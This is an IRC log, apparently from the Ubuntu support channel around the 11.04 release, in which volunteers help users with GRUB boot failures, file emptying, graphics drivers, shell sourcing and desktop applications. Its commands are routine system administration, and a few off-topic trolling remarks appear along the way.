[05:56] <Captainkrtek> bison, guess that won't work
[05:56] <bazhang> erik__, its not a single command, you need to use an app to create one
[05:56] <erik__> bazhang: is it active by default?
[05:57] <bison> captainkrtek: ubuntu@ubuntu:~$
[05:57] <buntu> While trying to download ubuntu, the little load-balancer thing sent me to http://linuxfreedom.com/ubuntu-releases//natty/ubuntu-11.04-desktop-amd64.iso
[05:57] <buntu> that mirror needs to be removed
[05:57] <Captainkrtek> bison, Im not sure what the issue is here, it's odd how you don't have the grub boot screen
[05:57] <Captainkrtek> buntu, go to #ubuntu-mirrors ?
[05:58] <buntu> Captainkrtek: that's not the point; the mirror needs to be removed from the pool
[05:58] <bison> captainkrtek: menu.lst is empty
[05:58] <Captainkrtek> buntu, they will be better able to help
[05:58] <Captainkrtek> bison, I know, my mistake
[05:58] <buntu> Captainkrtek: ahh, misread; roger
[05:59] <Captainkrtek> bison, im just confused as to why you don't have even your grub menu displayed on boot
[06:00] <bison> captainkrtek: :(
[06:01] <Captainkrtek> bison, can you still access /home on your old hard drive?
[06:01] <bison> ya
[06:01] <Captainkrtek> bison, I suggest making a backup
[06:01] <bison> captainkrtek: how do i fix a boot loader
[06:02] <Captainkrtek> bison, you can use this *let me find the link
[06:02] <atlef> !grub | bison
[06:02] <ubottu> bison: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[06:02] <Captainkrtek> http://www.bootproblems.com/
[06:02] <Captainkrtek> I haven't messed with grub in a long time
[06:03] <Captainkrtek> so it's not my area of expertise
[06:03] <chaospsyX> how can i install firefox 4 on 10.10 ?
[06:03] <Captainkrtek> chaospsyX, check the ubuntu software center
[06:03] <bison> captainkrtek: im using 1 OS, no windows, just ubuntu
[06:03] <intok> Using 10.10 PPC port, need to know anything at all about the gnome implimentation of 11.04 before I try and upgrade, since the PPC port is unofficial there is no livecd to teston
[06:04] <intok> no, I currently don't have any other machine, no I can't youtube
[06:04] <Captainkrtek> bison, https://help.ubuntu.com/community/RestoreGrub
[06:04] <Captainkrtek> bison, sure you didn't do anything else to cause this issue?
[06:05] <atlef> chaospsyX, http://www.webupd8.org/2011/03/install-firefox-4-in-ubuntu-1004-1010.html
[06:05] <FHtrain> i'm on wubi and cant boot. i managed to open grub.cfg with livecd and i'm supposed to
[06:05] <bison> captainkrtek: hmmm. just reboot the pc after the update
[06:05] <Captainkrtek> bison, just the update?
[06:05] <FHtrain> i'm on wubi and cant boot. i managed to open grub.cfg with livecd and i'm supposed to edit it but i dont know what to type in there can anyone help?
[06:06] <yigal> FHtrain: install full ubuntu and then we'll talk, jk
[06:06] <Captainkrtek> FHtrain, please refrain from asking the question multiple times in a short time frame, people will help you when they can
[06:06] <bison> captainkrtek: ya, im just surfing the net while updating
[06:06] <mithran> hi all, in sun virtualbox is the (save machine state == hibernate)?
[06:06] <Captainkrtek> bison, odd, let me look into this more
[06:06] <Captainkrtek> mithran, in a sense, it saves all your current memory to disk
[06:07] <Captainkrtek> ^ which hibernate does
[06:07] <bison> captainkrtek: thanks
[06:07] <FHtrain> Captainkrtek, i didnt complete the question the first time, i accidentally pressed enter, so i completed the question
[06:07] <Captainkrtek> FHtrain, okay
[06:08] <mfilipe> hello guys! I'm using linux-image with generic-pae but I want compile the same kernel with a patch applied. I installed linux-source-2.6.38, copied config-2.6.38-8-generic-pae to .config in linux-source dir and compiled with kernel-package. My problem is that I get kernel panic without patch applied. Anyone knows what is wrong?
[06:08] <Captainkrtek> mfilipe, maybe try #ubuntu-devel
[06:08] <CoolCoder> I lost my font for firefox after updating ubuntu to Natty Narwhal. Skype not working properly. any help in fonts for firefox?
[06:08] <bison> captainkrtek: do want to see my grub.cfg?
[06:08] <FHtrain> FHtrain, seriously i think thats what i should have done
[06:08] <Captainkrtek> bison, sure
[06:09] <mfilipe> Captainkrtek, thanks! :)
[06:09] <Captainkrtek> paste.ubuntu.com
[06:09] <Captainkrtek> mfilipe, no problem
[06:09] <FHtrain> lol talking to myself...i meant yigal
[06:09] <Captainkrtek> haha
[06:09] <bison> captainkrtek: paste bin?
[06:09] <Captainkrtek> bison, that works as well
[06:09] <CoolCoder> Is there anyway to go back to previous version from Natty Narwhal to 10.x?
[06:09] <bison> captainkrtek: whats the site?
[06:10] <Or1on1> I'm getting kernel panic on 11.04 64bit after login on ubuntu... does anyone have this problem?
[06:10] <Captainkrtek> bison, just use paste.ubuntu.com
[06:10] <FHtrain> i didnt find out about the problem with wubi until after lol
[06:10] <Captainkrtek> Or1on1, what is the kernel panic, IE what is it spitting out
[06:11] <Or1on1> Captainkrtek, there is nothing on the logs. its a total freezup with the keyboard light blinking...
[06:11] <crlcan81> I'm having odd issues with flash embedded video/audio players, outside of youtube. Though part of those are using html5 so don't know if any of the ones I've watched WERE using flash player.
[06:11] <Captainkrtek> Or1on1, what'd you do prior to this?
[06:11] <robin> hi
[06:11] <Guest22646> hi
[06:12] <bison> captainkrtek: http://paste.ubuntu.com/603107
[06:12] <Guest22646> hi
[06:12] <Or1on1> Captainkrtek, I can log in using ubuntu safe mode option. I just upgraded, this happened at the first login.
[06:12] <Captainkrtek> hello Guest22646
[06:12] <elijah> Is there a GUI way to unmount a device (not a partition)? If not what is the command to unmount a device?
[06:12] <Captainkrtek> Or1on1, Ill try to help you in a second, hold on
[06:12] <Or1on1> Captainkrtek, thanks! :)
[06:13] <Captainkrtek> bison, let me edit it for you
[06:14] <crlcan81> On sites like beemp3 and crooksandliars, when using their players I have the player's components disappear and all I see is the player background, as well as some of the video if I open up any controls over it. Sometimes that happens on videos directly, spots that are blocky showing the background, instead of a low quality pixel o the image.
[06:15] <hale> hi. i want to emty my file. i use echo "" >> myfile but whis this: i see a empty line in it. i want to delete enter in my file. plz help me.
[06:15] <Captainkrtek> bison, try this: http://pastebin.com/g0FcNV9K make a backup of your old one
[06:15] <Captainkrtek> hale, dd if=/dev/null of=/location/to/my/file
[06:16] <anadon> hey, I don't know what happened, but my win7 partition won't boot, but when I updated grub's conf file, it still didn't work.
[06:16] <Captainkrtek> hale, oh just use rm myfile
[06:16] <hale> Captainkrtek: ok. tnx
[06:16] <bison> captainkrtek: ok.
[06:16] <Captainkrtek> hale, np
[06:16] <hale> Captainkrtek: no. i dont want to rm in. i want to empty it.
[06:16] <Captainkrtek> hale, okay then use
[06:16] <Captainkrtek> hale, dd if=/dev/null of=/location/to/my/file
[06:16] <purvesh> my top bar had been gone after applying unity in ccsm so it means i cant control windows even cant move some where + alt and Tab not working in ubuntu 11.04
[06:16] <gueriLLaPunK> i have a phemon II x4 945 cpu. do i insdtall the amd64 version of ubuntu?
[06:17] <Captainkrtek> gueriLLaPunK, how much ram do you have
[06:17] <anadon> yes
[06:17] <gueriLLaPunK> 4gb
[06:17] <Captainkrtek> gueriLLaPunK, yes
[06:17] <gueriLLaPunK> ok ty
[06:17] <Captainkrtek> np
[06:17] <anadon> 	hey, I don't know what happened, but my win7 partition won't boot, but when I updated grub's conf file, it still didn't work.
[06:17] <gueriLLaPunK> I asked bvecause it syas this:
[06:17] <gueriLLaPunK> Choose this to take full advantage of computers based on the AMD64 or EM64T architecture (e.g., Athlon64, Opteron, EM64T Xeon, Core 2). If you have a non-64-bit processor made by AMD, or if you need full support for 32-bit code, use the Intel x86 images instead.
[06:17] <Jordan_U> anadon: What happens when you try to boot?
[06:17] <gueriLLaPunK> http://ubuntu.virginmedia.com/releases//natty/
[06:17] <Captainkrtek> gueriLLaPunK, yeah you're good to go
[06:17] <gueriLLaPunK> ok excellent. thanks again
[06:18] <Captainkrtek> np :-)
[06:18] <anadon> it throws  some lines of error messages, then says there is no partition
[06:18] <anadon> but I can see it and access it
[06:18] <anadon> and I didn't play with partitions at all
[06:18] <Captainkrtek> anadon, find out what partition it is on, boot into ubuntu, and go to disk utility
[06:19] <anadon> sda1
[06:19] <Captainkrtek> anadon, what'd cause it not to boot in the first place?
[06:20] <anadon> I don't know
[06:20] <anadon> it just didn't do it
[06:20] <Captainkrtek> anadon, well if it worked and then didn't then something must be up
[06:20] <hale> Captainkrtek: sorry. after dd if=/dev/null of=/var/log/squid/top-urls-7days.log: i have a blank line still.
[06:20] <anadon> last time I tried 7 last week, it worked without a hitch
[06:20] <Captainkrtek> hale, Im not sure what you want to do
[06:20] <Captainkrtek> anadon, then... *poof* ?
[06:21] <anadon> yeah, that's what it looks like to me at my end...alas
[06:21] <Captainkrtek> hale, to empty all content of the file dd it, to remove it, rm it
[06:21] <hale> i want to have empty file.
[06:21] <Captainkrtek> hale, that is empty as it gets
[06:21] <hale> ok
[06:21] <Captainkrtek> as*
[06:23] <Captainkrtek> bison, that fix anything?
[06:24] <bison> captainkrtek: wait
[06:24] <bison> captainkrtek: should i copy this to usb?
[06:24] <Captainkrtek> bison, what?
[06:24] <bison> captainkrtek: how do ni save this
[06:25] <CoolCoder> Is there anyway to go back to previous version from Natty Narwhal to 10.x?
[06:25] <Captainkrtek> bison, that new file, replace the contents of your cfg with it, but make a backup of your old one
[06:25] <Captainkrtek> ie
[06:25] <Captainkrtek> cp file.cfg file.cfg.backp
[06:25] <Captainkrtek> cp file.cfg file.cfg.backup
[06:26] <bison> captainkrtek: so ill just copy and paste
[06:26] <Captainkrtek> yeah
[06:26] <Captainkrtek> but make a backup first
[06:27] <jamescarr> Where would be an appropriate location to create a directory for application data that all users can read and write to?
[06:27] <intok> CoolCoder what for?
[06:27] <Captainkrtek> Jamescarr locally?
[06:28] <Captainkrtek> or a network share
[06:28] <jamescarr> Captainkrtek, locally... any user logged into the machine, the application should use that same dir for caching :)
[06:28] <O-ngaWeze`> Ola bruederz
[06:28] <O-ngaWeze`> ikonia bruder && Pici bruder
[06:28] <Captainkrtek> hello O-ngaWeze`
[06:29] <jamescarr> The way it is is that when a user does something it might download 40MB or so of data to the cache, I'd prefer to share it vs. making each user do that download again
[06:29] <anadon> 	hey, I don't know what happened, but my win7 partition won't boot, but when I updated grub's conf file, it still didn't work.
[06:29] <O-ngaWeze`> Captainkrtek bro hello
[06:29] <Captainkrtek> hello bro :P
[06:29] <jamescarr> because the apps default is .appname/cache (which can be configured to elsewhre)
[06:29] <anadon> says it can't find a symbol, then partion, then disk doesn't exist
[06:29] <jamescarr> I'll put it /usr/local/share I guess
[06:29] <Captainkrtek> anadon, don't use windows, problem solved ;-)
[06:29] <leojay> hi, how to map win+L to lock screen? the shortcut seems doesn't work for ubuntu 11.04, but it worked for 10.10
[06:30] <O-ngaWeze`> One more mug of beer?
[06:30] <bison> captainkrtek: how to edit?
[06:30] <Captainkrtek> leojay, hold on
[06:30] <bison> captainkrtek: how to edit or just replace the file
[06:30] <O-ngaWeze`> windows? wtfm windows?
[06:30] <Captainkrtek> leojay, System --> preferences --> keyboard shortcuts
[06:30] <anadon> I'm sorry, but podcasts of a crazy guy I'm researching work only in windows
[06:30] <xendras> guys, its showing installer crashed when i install ubuntu 11.04, any idea how to solve it?
[06:30] <Captainkrtek> bison, nano or gedit
[06:30] <leojay> yes, I tried. but it doesn't work.
[06:30] <Captainkrtek> anadon, hehe
[06:31] <bison> captainkrtek: terminal window?
[06:31] <Captainkrtek> leojay, it won't let you map it? is it already taken
[06:31] <leojay> it worked in 10.10, but not 11.04
[06:31] <anadon> .mp3's don't work, and I can't even get to the damned things!
[06:31] <Captainkrtek> bison, yes or right click
[06:31] <Captainkrtek> anadon, vlc-player
[06:31] <anadon> still can't get to them--itunes
[06:31] <Captainkrtek> leojay, odd sorry I can't help much further
[06:31] <Captainkrtek> anadon, ewwwww itunes
[06:31] <Captainkrtek> anadon, surely the person has a website?
[06:31] <leojay> I can map it in "Keyboard shortcuts" dialog, but it just doesn't work.
[06:31] <anadon> yeah..been there...it's a bitch!
[06:32] <bison> captainkrtek: i can't edit the file huhuhu
[06:32] <Captainkrtek> leojay, odd
[06:32] <Captainkrtek> bison, blah, let me just finish some work real quick
[06:32] <anadon> they do, but it's non-standard and touched up for ie8
[06:32] <Captainkrtek> anadon, ahhh ie8, im cringing
[06:32] <Captainkrtek> and I live outside Redmond
[06:32] <Captainkrtek> lol
[06:32] <anadon> Yeah!  The guy's really messed up with EVERYTHING
[06:33] <Captainkrtek> anadon, so he is crazy ;-)
[06:33] <anadon> he lives in one of the safest cities in the WORLD and has body guards go with him everywhere
[06:33] <anadon> not kidding
[06:33] <Captainkrtek> anadon, what's his name?
[06:33] <anadon> going to try to push him off the deep end
[06:33] <Captainkrtek> lol
[06:33] <anadon> Mark Barclay
[06:34] <Captainkrtek> anadon, interesting...
[06:34] <bison> captainkrtek: read-only :)
[06:34] <DaGeek247> its purple!
[06:34] <O-ngaWeze`> Searching new target... New terget accepted: Redmond Drop the atomic bomb now! 5.. 4.. 3... 2... 1... 0... Start!
[06:34] <Captainkrtek> bison, blah /me jumps off a cliff
[06:35] <O-ngaWeze`> Pigkilling party
[06:35] <Captainkrtek> O-ngaWeze`, oh no! hehe I live in Seattle
[06:35] <DaGeek247> who here lys Alien Arena?
[06:35] <websiteguy> hello
[06:35] <O-ngaWeze`> Seattle is clearly
[06:36] <Captainkrtek> hello websiteguy anything we can help with?
[06:36] <anadon> well, any idea how to get it to work-win7 or hacks?  Need research material
[06:36] <salaah> i installed kubuntu-desktop, and tried to enable antialiasing, fonts are now messed up in chrome, and firefox. can anone help please
[06:36] <Captainkrtek> O-ngaWeze`, ?
[06:36] <O-ngaWeze`> todays will bbeginning the "windowsless" new age:D
[06:36] <bison> what is the coomand in overwriting a file
[06:36] <Captainkrtek> O-ngaWeze`, haha
[06:37] <Captainkrtek> bison, don't
[06:37] <mnouh_> anyone know how to install clang on Natty?
[06:37] <websiteguy> hey can anyone help me with a ubuntu vps
[06:37] <Captainkrtek> websiteguy, I'd be glad to :-)
[06:37] <websiteguy> thanks man
[06:37] <bison> captainkrtek: how can i edit the file, its a read only
[06:37] <salaah> i'd like help with fonts please
[06:37] <Captainkrtek> bison, well I honestly dont mess with grub much, I'd hate to futz it up more
[06:38] <Captainkrtek> salaah, if people can help you they will
[06:38] <websiteguy> i'm trying to buy one and one of the things it asks is Hostname:,NS1 Prefix:,NS2 Prefix:
[06:38] <websiteguy> what do i write there
[06:38] <Captainkrtek> websiteguy, ahh
[06:38] <salaah> Captainkrtek: k
[06:38] <anadon> you can't directly access those servers...which is ass backwards
[06:38] <anadon> tried it
[06:38] <Captainkrtek> websiteguy, can you take a screenshot of the fields it wants you to input just so we can be on the same page
[06:38] <websiteguy> sure
[06:39] <Captainkrtek> websiteguy, PM them to me
[06:39] <websiteguy> https://www.dewlance.com/client/cart.php?a=confproduct&i=0
[06:39] <websiteguy> ^ on that page it asks me
[06:39] <Captainkrtek> okay
[06:39] <bison> captainkrtek: how can i change the grub .cfg
[06:39] <O-ngaWeze`> captainkrtek I am Ongavezir Da Holyness, favour of Allah:)
[06:39] <buhman> I have just installed ubuntu after playing with the livecd for a bit
[06:39] <anadon> bison: try running update-grub
[06:40] <Captainkrtek> thanks anadon for helping him, grub isnt my speciality
[06:40] <O-ngaWeze`> my old goodfriend ikonia bro && Pici bro :D
[06:40] <buhman> All the sudden it feels like I have no 2d/3d acceleration and overall performance seems much reduced
[06:40] <anadon> bison: also, make sure you have grub 2
[06:40] <buhman> I think I was actually booting from the external harddrive than from the installed systemd
[06:40] <anadon> bison: should take care of it if you regularly update your system
[06:40] <Captainkrtek> O-ngaWeze`, well nice to meet you :-)
[06:41] <Captainkrtek> websiteguy, can you /query Captainkrtek
[06:41] <ActionParsnip> buhman: what video chip do you use?
[06:41] <buhman> ActionParsnip: Radeon HD4250
[06:41] <buhman> ActionParsnip: radeon appeared to be running upon installation
[06:41] <buhman> then ubuntu suggested I install fglrx
[06:41] <anadon> bison: research super gurb disk--burn it and you'll be set until grub 3 comes out
[06:42] <buhman> since radeon performance was terrible (which is unusual for this card), I thought, meh, I guess...
[06:42] <O-ngaWeze`> You're welcome Captainkrtek bro:)
[06:42] <buhman> I think performance has gone down slightly after installing fglrx
[06:42] <O-ngaWeze`> ActionParnsnip bro gotta mornin'!
[06:42] <anadon> captainkrtek, websiteguy, were you two helping me?  I got lost.
[06:42] <buhman> I was running debian wheezy beautifully before this (other than growing problems with borked packaging)
[06:42] <O-ngaWeze`> I hate da drupal:D
[06:42] <Captainkrtek> anadon, no what was your issue sorry?
[06:42] <crlcan81> Found out the issue I was having is a firefox problem, not sure if it is flash itself, or simply certain sites since the 11.04 upgrade.
[06:43] <anadon> crazy guy research, need windows or a hack
[06:43] <ActionParsnip> buhman: if you use the hardware driver app you can see if the drivers are installed. If you have the unity bar then you have 3D acceleration
[06:43] <buhman> ActionParsnip: well I do... but I fear there's no 2d acceleration
[06:44] <buhman> ActionParsnip: lspci -k tells me fglrx is loaded, and glxinfo tells me I have direct rendering and that my vendor string is ATI...
[06:44] <buhman> ActionParsnip: this is quite unusual
[06:44] <buhman> ActionParsnip: but I swear that video performance is terrible
[06:44] <ActionParsnip> Buhman: also make sure you have full updates: sudo apt-get update; sudo apt-get -y upgrade
[06:45] <buhman> ActionParsnip: I had 2d acceleration on the livecd
[06:45] <ActionParsnip> Buh
[06:45] <ActionParsnip> Buhman: try a reboot, it's cliche enough to work
[06:46] <buhman> ActionParsnip: surprisingly, there's a bunch of new packages... all perl related it appears.. and one for apt
[06:46] <anadon> Need to get win7 to boot!  Symbols missing, partitian "doesn't exist", disk "doesn't exist".  After "update-grub" still didn't work
[06:46] <gsb> hi, are applets gone in Natty?
[06:46] <bison> captainkrtek: it didnt work, i saw a glimpse of the spash screen then gone, blank screen with light flshing of the screen
[06:47] <Captainkrtek> bison, press escape
[06:47] <bison> captainkrtek: nothing
[06:47] <ActionParsnip> Gsb: log in to gnome classic and they should be fine
[06:47] <Captainkrtek> bison, when it splashes
[06:47] <gsb> ActionParsnip, no in Unity interface
[06:48] <buhman> ActionParsnip: is universe and metaverse not enabled during installation I gather?
[06:48] <ActionParsnip> Bison: what video chip do you have and is ita
[06:48] <ActionParsnip> It an upgrade or clean install?
[06:49] <buhman> ActionParsnip: clean install; haven't even gotten a chance to mount my real /home
[06:49] <buhman> ActionParsnip: anyway, I'll try rebooting I guess
[06:49] <jack123> whats the fuss all about
[06:49] <bison> captainkrtek: waahhhh hehehe
[06:49] <ActionParsnip> Buhmam: not sure to be honest
[06:49] <bison> captainkrtek: nvidea
[06:49] <bison> 512
[06:50] <Captainkrtek> bison, blah not sure what I can do for ya man
[06:50] <ActionParsnip> Gsb: to my knowledge no. I've seen loads in here asking but I don't use them so cannot say for sure
[06:51] <bison> captainkrtek: can i replace my boot loader
[06:51] <Captainkrtek> bison, fix grub
[06:51] <bison> captainkrtek: when im using the live cd, its working
[06:51] <ActionParsnip> Bison: add the boot option: nouveau.blacklist=1
[06:51] <O-ngaWeze`> Our companies will kick Bible' size knock against the hell of drupal! The Holy Djihad starting again!
[06:51] <gsb> ActionParsnip, oh, i am gonna miss 'Wanda'
[06:52] <zack> ActionParsnip: hmm, it does seem a tad peppier, but I'm getting horizontal tearing when I move windows around as if 2d acceleration is still not really working
[06:52] <ActionParsnip> O-ngaWeze`: do you have a support question?
[06:52] <Captainkrtek> ActionParsnip, he can't even see the grub boot screen
[06:52] <zack> ActionParsnip: is it possible to turn off compositing?
[06:53] <O-ngaWeze`> ActionParnsnip bro: I am Da Support, Da Way, Da Light!
[06:53] <ActionParsnip> Captainkrtek: hold SHIFT at boot
[06:53] <zack> ActionParsnip: speaking of that, I don't like the little left-hand osx-esq launcher thing; can I have my gnome taskbar back? :P
[06:53] <Captainkrtek> ActionParsnip, bison "hold SHIFT at boot"
[06:53] <jack123> my internet connection is not working in ubuntu but in live cd its working
[06:53] <ActionParsnip> Zack: presz ALT+F2 and run: metacity --replace
[06:54] <zack> ActionParsnip: the 2d acceleration feels nicer now, but there's no taskbars
[06:55] <bison> captainkrtek: no luck
[06:55] <Captainkrtek> bison, odd
[06:55] <Or1on1> Captainkrtek, i think i found a clue for the freezup! :o)))) i think its one of the startup applets/applications
[06:55] <zack> ActionParsnip: in fact, if I were'nt in a terminal right now I'd probably be in a slight amount of trouble (at least probably forcing me to restart x)
[06:55] <ActionParsnip> Zack: if you dislike unity (mac has the bar on the bottom, not left). Simply log off and select Gnome Classic as the session
[06:55] <pindropper> im reading this book "beginning linux programming" and it mentions the use  of the "dot" command. which makes commands in the shell execute directly in the shell process, and not in a sub process. i tried using it and i keep getting a "cannot execute binary fil" response. i tried doing ". ps" and ". /bin/ps" what am i missing?
[06:56] <Captainkrtek> Or1on1, ahhhh most likely
[06:56] <zack> ActionParsnip: ok
[06:57] <bison> captainkrtek: yes!!! i can now see the grub loader hehehe
[06:57] <leojay> hi, how to map win+L to lock screen? the shortcut seems doesn't work for ubuntu 11.04, but it worked for 10.10
[06:57] <mufasis> can someone help me real quick, how do i know if i installed raid correctly and its working?
[06:57] <bison> captainkrtek: but too many options
[06:58] <pindropper> leojay: try shortcuts in preferences
[06:58] <Captainkrtek> bison, okay
[06:58] <Captainkrtek> bison, highlight your kernel
[06:58] <ActionParsnip> Jack123: boot livecd and run: sudo lshw -C network    to see the driver name. Back in the installed OS run: sudo modprobe -r modulename; sleep 2; sudo modprobe modulename     may help
[06:59] <bison> captainkrtek: 2.6.35-28-generic
[06:59] <Captainkrtek> sure
[06:59] <buhman> ActionParsnip: much better
[06:59] <Captainkrtek> then hit the e key
[06:59] <bison> captainkrtek: 2.6.35-28-generic (recovery mode)
[06:59] <Captainkrtek> bison, no
[06:59] <Captainkrtek> the non-recovery mode
[06:59] <Captainkrtek> actually...
[06:59] <ActionParsnip> Pindropper: its:   ./command    note there are no spaces
[06:59] <bison> captainkrtek: 2.6.35-22-generic (recovery mode)
[07:00] <bison> captainkrtek: 2.6.35-22-generic
[07:00] <Captainkrtek> bison, just hit enter over the recovery mode
[07:00] <pindropper> ActionParsnip:  no. thats not what i am trying to do. i know what you saying. but i think you misread my question
[07:00] <chaospsyX> where kind I find all the keyboard-shortcuts for ubuntu 10.10 ?
[07:00] <bison> captainkrtek: black screen again\
[07:01] <mufasis> anyone?
[07:01] <nit-wit> chaospsyX, ths is a older gconf method. http://ubuntuguide.net/assign-custom-keyboard-shortcuts-on-ubuntu
[07:01] <pindropper> mufasis: try typing raid and see what it says
[07:02] <rob_p> pindropper: Maybe you are referring to sourcing a file, like a script. example:  . /path/to/script
[07:02] <nit-wit> mufasis, raid is not a common set up in linux
[07:02] <Captainkrtek> bison, okay get back to grub them
[07:02] <chille> Hello guys! I just switched my workstation from a Mac to a PC with Ubuntu 11.04
[07:02] <bison> captainkrtek: ok
[07:02] <mithran> hi, does anybody know how to copy and paste text from host to a sunvirtual box vm?
[07:02] <rob_p> pindropper: You could also do, "source /path/to/script" and it would accomplish the same.
[07:02] <chille> I have most stuff up and running, however i would need some help to find a few applications
[07:02] <nit-wit> mufasis, you might find help it just may take a bit.;)
[07:03] <chille> first of all i want some kind of application to monitor cpu temp etc, any ideas?
[07:03] <Captainkrtek> chille, congrats!
[07:03] <pindropper> rob_p: would that make it run in the same process as the shell itself, rather than a sub process?
[07:03] <mithran> conky
[07:03] <nit-wit> chille, conky
[07:03] <mithran> <chille>
[07:03] <Captainkrtek> conky
[07:03] <mithran> wow are there actually any other answers?
[07:03] <Captainkrtek> lol
[07:03] <nit-wit> a smattering of applause for conky
[07:03] <pindropper> rob_p: and i thought i would work on the commands too. is it that it only works on scripts? like ". ./script"
[07:03] <Captainkrtek> hehe
[07:03] <rob_p> pindropper: I think so, yes.
[07:04] <chille> conky.. okay..
[07:04] <bison> captainkrtek: what will i choose now? recovery mode or the other version 2.6.35.22-generic?
[07:04] <nit-wit> conky uses the lowest system resources
[07:04] <mithran> hi, does anybody know how to copy and paste text from host to a sunvirtual box vm?
[07:04] <Captainkrtek> bison, hold on
[07:04] <rob_p> pindropper: No.  It's equivalent to sourcing.  You can't source a binary in that way.
[07:04] <crowsnest> Hi. I am getting an error when trying to format a USB drive: Error creating file system: helper exited with exit code 1: cannot mount /dev/sdg1 at /tmp/job-mkfs-CuICaQ: No such file or directory
[07:04] <crowsnest> After this error the OS seems to disable the drive.
[07:05] <nit-wit> crowsnest, how are you formatting
[07:05] <pindropper> rob_p: ok. i know this might be a stupid question to ask. but why not
[07:05] <crowsnest> I'm using disk utility. Trying to format it to ext4.
[07:06] <rob_p> pindropper: Because it doesn't make sense!
[07:06] <nit-wit> crowsnest, I would use gparted it is easier, at least for me
[07:06] <buhman> this makes me slightly uncomfortable: http://paste.ubuntu.com/603119/ ; how might I re-enable root?
[07:06] <Or1on1> Captainkrtek, it was the cdemu deamon
[07:06] <buhman> I want to have a more traditional su/sudo setup (closer to how debian is setup)
[07:06] <Captainkrtek> Or1on1, ahh nice find :-)
[07:06] <rob_p> pindropper: I'm not sure why you want to attempt to source a binary file.
[07:06] <Or1on1> :o)
[07:06] <pindropper> rob_p: lol. clearly i need to read more and figure out what sourcing is. but thanks.
[07:07] <geekorama> anyone having issues with evolution and rss feeds?
[07:07] <buhman> The idea that knowing the password of the restricted user allows you to elevate priveledges is a disgusting idea, I'm sorry
[07:07] <rob_p> pindropper: Think of it like a method of importing the code in some other file, into the currently executing script.
[07:07] <rob_p> pindropper: It's commonly done in other scripting languages like perl, php, etc.
[07:08] <pindropper> rob_p: aah! ok. now it makes sense.
[07:08] <pindropper> rob_p: so its like sharing the environment.
[07:08] <chille> ah, sweet, conky does the job perfect
[07:08] <geekorama> any evolution users?
[07:09] <pindropper> rob_p: thus sharing scope. Am I right?
[07:09] <buhman> geekorama: if you're asking about exchange or something like that, I can't help you :P
[07:09] <nit-wit> chille, there are scripts all over the web to have it looking pretty cool
[07:09] <Captainkrtek> bison, okay
[07:09] <geekorama> buhman: rss feeds, i am having issues getting em on evolution
[07:09] <Captainkrtek> bison, highlight the -generic on and hit the e key on your keyboard
[07:09] <red2kic> buhman: Use Debian CUT? Heh.
[07:09] <bison> captainkrtek: ok
[07:10] <Captainkrtek> bison, scroll down to kernel
[07:10] <Captainkrtek> then hit e again
[07:10] <rob_p> pindropper: Sort of, yes. Think of multiple scripts utilizing a common data source or library.  Sourcing is perfect for that.
[07:10] <bison> captainkrtek: ok, hold on
[07:10] <pindropper> rob_p: got it. thanks for clearing that up.
[07:10] <buhman> red2kic: that looks interesting... I just abandoned a bogged down and semi-broken apt on wheezy
[07:10] <rob_p> pindropper: But yes, it's also commonly used to source a common environment file.
[07:10] <rob_p> pindropper: welcome :)
[07:11] <red2kic> buhman: Why don't you stay on *squeeze*?
[07:11] <bison> captainkrtek: im here
[07:11] <geekorama> ok guess  nope
[07:11] <geekorama> bye all, thank you
[07:11] <Captainkrtek> bison, k now at the end of the line, add: vga=771
[07:11] <Captainkrtek> leave a space between the last word and vga=771
[07:11] <chille> okay next application on my wantlist list is some kind of password manager. is ther any one like keychain in os x?
[07:11] <Captainkrtek> chille, password manager
[07:12] <geekorama> chille: keypass
[07:12] <chille> aha.. hmm..
[07:12] <bison> captainkrtek: after generic or after?
[07:12] <Captainkrtek> err yeah
[07:12] <Captainkrtek> bison, huh? what does it say
[07:13] <buhman> red2kic: well, I was trying to do things like installing python 2.7 system-wide, which wheezy is supposed to accomplish (eventually)
[07:13] <buhman> but it didn't work out well
[07:13] <xmaz> Hey, i am just upgrading my ubuntu, and a screen come up saying: A new version of conf file /etc/defoult/grub is avaliable, but the verson installed has been modyfied: what you want do? KEEP CURRENT or change ? What is this grub file? Can i upgrade it? Does it effect any security issues if i dont upgrade it?
[07:14] <bison> captainkrtek: last line says " initrd /boot/initrd.img-2.6.35-28-generic
[07:14] <geekorama> bye all
[07:15] <Trueman> yesterday tried compiz and unity crashed
[07:15] <buhman> red2kic: so I played with the ubuntu livecd (hearing that this 11.04 was just released), and it had all the package versions I wanted (plus this PPA concept looks pretty cool, and I found myself stealing ubuntu packages frequently, which probably contributed to my package-management-meltdown)
[07:15] <Trueman> gnome don't work too(
[07:16] <red2kic> buhman: Heh. You bork the system when you have unmanaged packages.
[07:16] <red2kic> buhman: That was the whole point of using debian, awesomestableness.
[07:16] <buhman> red2kic: I know; it was great until I changed repositories and did the (surprisingly) fatal safe-upgrade
[07:17] <Trueman> does anybody know how to control brightness in ubuntu 11.04?
[07:17] <red2kic> buhman: The PPA concept is stupid in my opinion. If you really need python2.7 (and Ubuntu) without many stuffs. Go for minimal, maybe? Install barebone Gnome (Same effect you would with Debian Gnome Environment).
[07:17] <buhman> Trueman: my hardware keys work, which is surprising considering acer-wmi is broken on all aspire one's
[07:17] <devkorcvince> any issue's while updating 10.10 64 -> 11.04 64?
[07:17] <bison> captainkrtek: last line says " initrd /boot/initrd.img-2.6.35-28-generic
[07:17] <red2kic> !info python
[07:17] <ubottu> python (source: python-defaults): interactive high-level object-oriented language (default version). In component main, is important. Version 2.7.1-0ubuntu5 (natty), package size 158 kB, installed size 760 kB
[07:18] <red2kic> !info python lucid
[07:18] <ubottu> python (source: python-defaults): An interactive high-level object-oriented language (default version). In component main, is important. Version 2.6.5-0ubuntu1 (lucid), package size 144 kB, installed size 640 kB
[07:18] <buhman> red2kic: I already switched to gnome with no effects and switched to clearlooks
[07:18] <red2kic> buhman: You can live with lucid? (lts, 10.04, considered to be stable-ish as debian).
[07:18] <Captainkrtek> bison, scroll to kernel
[07:18] <TopGear> Hey
[07:18] <red2kic> buhman: 2.6.5 -- That bad?
[07:18] <buhman> red2kic: might as well just use squeeze in that case
[07:19] <red2kic> buhman: What is squeeze's python version?
[07:19] <TopGear> I can't choose between Unity or Classic in 11.04... I only have that human-like image and the restart/poweroff button in the logon screen.
[07:19] <buhman> red2kic: 2.6
[07:19] <bison> captainkrtek: ok
